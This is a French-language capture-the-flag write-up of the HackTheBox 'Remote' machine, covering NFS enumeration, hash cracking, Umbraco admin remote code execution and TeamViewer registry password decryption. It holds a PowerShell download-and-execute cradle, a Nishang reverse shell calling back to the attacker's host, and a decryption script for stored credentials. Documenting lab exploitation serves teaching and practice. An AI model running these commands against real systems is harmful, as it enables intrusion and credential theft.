> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Compte rendu HackTheBox de Remote

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**Compétences**:

* Énumération Web
* Énumération NFS - Showmount
* Fuite d'informations
* Exploitation du panneau d'administration Umbraco
* Umbraco CMS - Exécution de code à distance par des administrateurs authentifiés
* Obtention du mot de passe TeamViewer à partir du registre système (AES128 - CBC) (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/11795589bb06342a0186218d8f21f5514d845a01" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/9e38e0b5344f2a2d48d55d5daab6a416a2f169e2" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**/ Énumérer les ports ouverts et exporter les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="/files/8d05496d6af01932d5c2ad4dbf6df5a9af3459a5" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractport :**/ Utilisation de la fonction extractport pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<figure><img src="/files/7c9337ca4ec4a8f57d4633b3f6e0acade3953e11" alt=""><figcaption></figcaption></figure>

**Analyse des versions des ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="/files/e87f30be47c3a71aa8a3c609e384b872bdaf265d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0939b0eb7302eb55d0b9a82ecff77031d5b26a6b" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` le fichier

<figure><img src="/files/a91b9a603a1127ffd9819a5d204414ee4461bc1e" alt="" width="563"><figcaption></figcaption></figure>

### Web (port 80) :

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="/files/53dd30bf76490f8a9f0d8cb5d860f6d8959a8f80" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/b6308f0ee55e671e134117917f8c0fb6d3d42fbe" alt=""><figcaption></figcaption></figure>

### SMB - port 445

Liste **SMB :**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="/files/fbd3c93823b4919ddc30db27a75751b5e7690b08" alt=""><figcaption></figcaption></figure></div>

### **Client SMB (session nulle) :**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="/files/c4afb2ba6fa8326fe4fa3f2d36424935b9719fb7" alt=""><figcaption></figcaption></figure>

### FTP (21) anonyme

Nous avons la possibilité de nous connecter via FTP avec l'utilisateur anonyme, mais nous ne pouvons ni lister ni ajouter de fichiers.

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="/files/cb47f3ae59ffb763db5556e12199867540aab874" alt=""><figcaption></figcaption></figure>

## Service NFS (port 2049)

{% hint style="info" %}
Le Network File System (NFS) est un protocole de niveau applicatif OSI. Il est utilisé pour créer des systèmes de fichiers distribués dans un réseau local, permettant à différents systèmes connectés d'accéder à des fichiers distants comme s'ils étaient locaux.
{% endhint %}

Pour lister les fichiers avec `mount`:

```bash
showmount -e 10.10.10.180
```

Nous voyons un `/site_backups` qui est visible par tous.

<figure><img src="/files/1ef963a59239d78904be06fec68d80cd97ce2a6f" alt="" width="563"><figcaption></figcaption></figure>

Pour importer ce fichier, vous devez créer un répertoire et le monter sur notre machine comme suit :

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="/files/aaf2d5c0fb424041817b29284ca9847b4ebd0478" alt=""><figcaption></figcaption></figure>

Avec `tree`, nous allons lister tous les dossiers dans l'arborescence pour nous faire une idée :

```
tree -L 2
```

Nous voyons un `.config` configuration et `sdf` dossier de la base de données Umbraco (un CMS) du port 80.

<figure><img src="/files/fe38b369b6b255153589b009bc8b2239d821a85b" alt=""><figcaption></figcaption></figure>

Le `.conf` le fichier ne contient rien d'intéressant, et le `umbraco.sdf` est un fichier binaire.

<figure><img src="/files/b3d81ef5c8da2d125ac42cae6589cfec39efaf6a" alt=""><figcaption></figcaption></figure>

Nous allons utiliser `strings` pour afficher les caractères visibles et les mettre dans notre répertoire pour une analyse détaillée :

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

Nous trouvons des mots de passe "admin" et un utilisateur "smith".

<figure><img src="/files/9a430af73cbe3ba2834fef634fa42ffe2cd54481" alt=""><figcaption></figcaption></figure>

### Cassage des mots de passe :

Admin (hash) : `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/2ca59a3382db7d61f9fc9bd3186b4c77be810393" alt=""><figcaption></figcaption></figure>

Admin : `baconandcheese`

#### Comme SMB est exposé, utilisez CrackMapExec pour vous authentifier et valider l'accès

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### aucun effet

<figure><img src="/files/e6b825d820bf471a23e2f0b2b9bcda7c63952539" alt=""><figcaption></figcaption></figure>

## Vulnérabilité RCE (Umbraco CMS)

Nous trouvons un panneau d'administration et allons essayer l'authentification de l'utilisateur admin :

`admin@htb.local:baconandcheese`

<figure><img src="/files/30d5b5f4234a942cdb219d712ef3012266fc9a49" alt=""><figcaption></figcaption></figure>

Nous avons accès.

<figure><img src="/files/c57611800e8ccdee6c271e2eef2d774a2f171394" alt=""><figcaption></figcaption></figure>

Nous allons rechercher `Searchsploit` les vulnérabilités de ce CMS et trouver un script NCE pour Umbraco.

<figure><img src="/files/13d3f474ac5076b580ae20ed55b1775e0e851672" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Nous allons modifier les paramètres de connexion, de mot de passe et d'hôte dans le script.

<figure><img src="/files/1d306da333c0dc158fc9aa0c4a92d9a82130a748" alt="" width="563"><figcaption></figcaption></figure>

**Vérifiez la connectivité avec ping :**/ Nous exécuterons cette commande sur le serveur, et nous écouterons avec tcpdump

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/3b574048124c3f385a306edd2710f4eb11b9bc84" alt=""><figcaption></figcaption></figure>

Une fois que nous verrons que nous pouvons exécuter des commandes, nous téléchargerons le `PS.ps1` script sur notre machine.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

À la fin du script, nous ajoutons la ligne suivante :

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/84dbffd276d00c027185cc8d938d4e2ccaa6fd9c" alt="" width="563"><figcaption></figcaption></figure>

Nous allons créer un serveur web avec le `PS.ps1` script :

```bash
python3 -m http.server 80
```

Ensuite, nous modifierons la commande pour qu'elle pointe vers notre serveur web :

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Enfin, nous écoutons sur le port 4444 :

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/1a275b8f59560aca359c288808f78d17106ac53b" alt=""><figcaption></figcaption></figure></div>

Accès au `user.txt` fichier et en constatant que TeamViewer est installé

<figure><img src="/files/e704acd267f3b98185e0ccd9a712e742d21d77b2" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges :

Si vous regardez les tâches en cours d'exécution, vous pouvez voir TeamViewer version 7.

```powershell
tasklist /svc
```

<figure><img src="/files/d33b2145db0fb90272c7fb8514c4d4bb53db7c48" alt=""><figcaption></figcaption></figure>

En recherchant dans les scripts Metasploit, nous en trouvons un qui peut récupérer le mot de passe de TeamViewer :

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="/files/cf86f29a269b7522702a40223361003b674735c5" alt=""><figcaption></figcaption></figure>

Lors de l'analyse du script, vous devez d'abord obtenir la clé (selon la version) depuis le registre :

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

Ensuite, les propriétés de sécurité doivent être examinées, en particulier le mot de passe AES :

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/d208d66abea0e4835a25340735bfc23dbf89420c" alt=""><figcaption></figcaption></figure>

Placez les octets suivants dans `ciphertext`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Script Python Automatisation :

Voici le script qui automatise l'ensemble du processus :

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="/files/1dab109d0d2c6441f7eb6a4bcf483a5d044aff44" alt=""><figcaption></figcaption></figure>

Le mot de passe est `!R3m0te!`.

Nous vérifierons avec CrackMapExec si le mot de passe est correct pour l'utilisateur `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="/files/77ff58af4e5112d786e3aa3029a69a891197a98a" alt=""><figcaption></figcaption></figure>

Nous nous connectons avec Evil-WinRM, car le service d'administration Windows à distance est actif sur le port 5985 :

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="/files/857a18efd7169aa942472c0b090f957828341d0d" alt=""><figcaption></figcaption></figure>

### Flag root final :)

<figure><img src="/files/2b2bc7018dcc1539caacee9fe0b574d76a3ca067" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d17c001e44dc3125afae6de869c760a7c33a7c0a" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
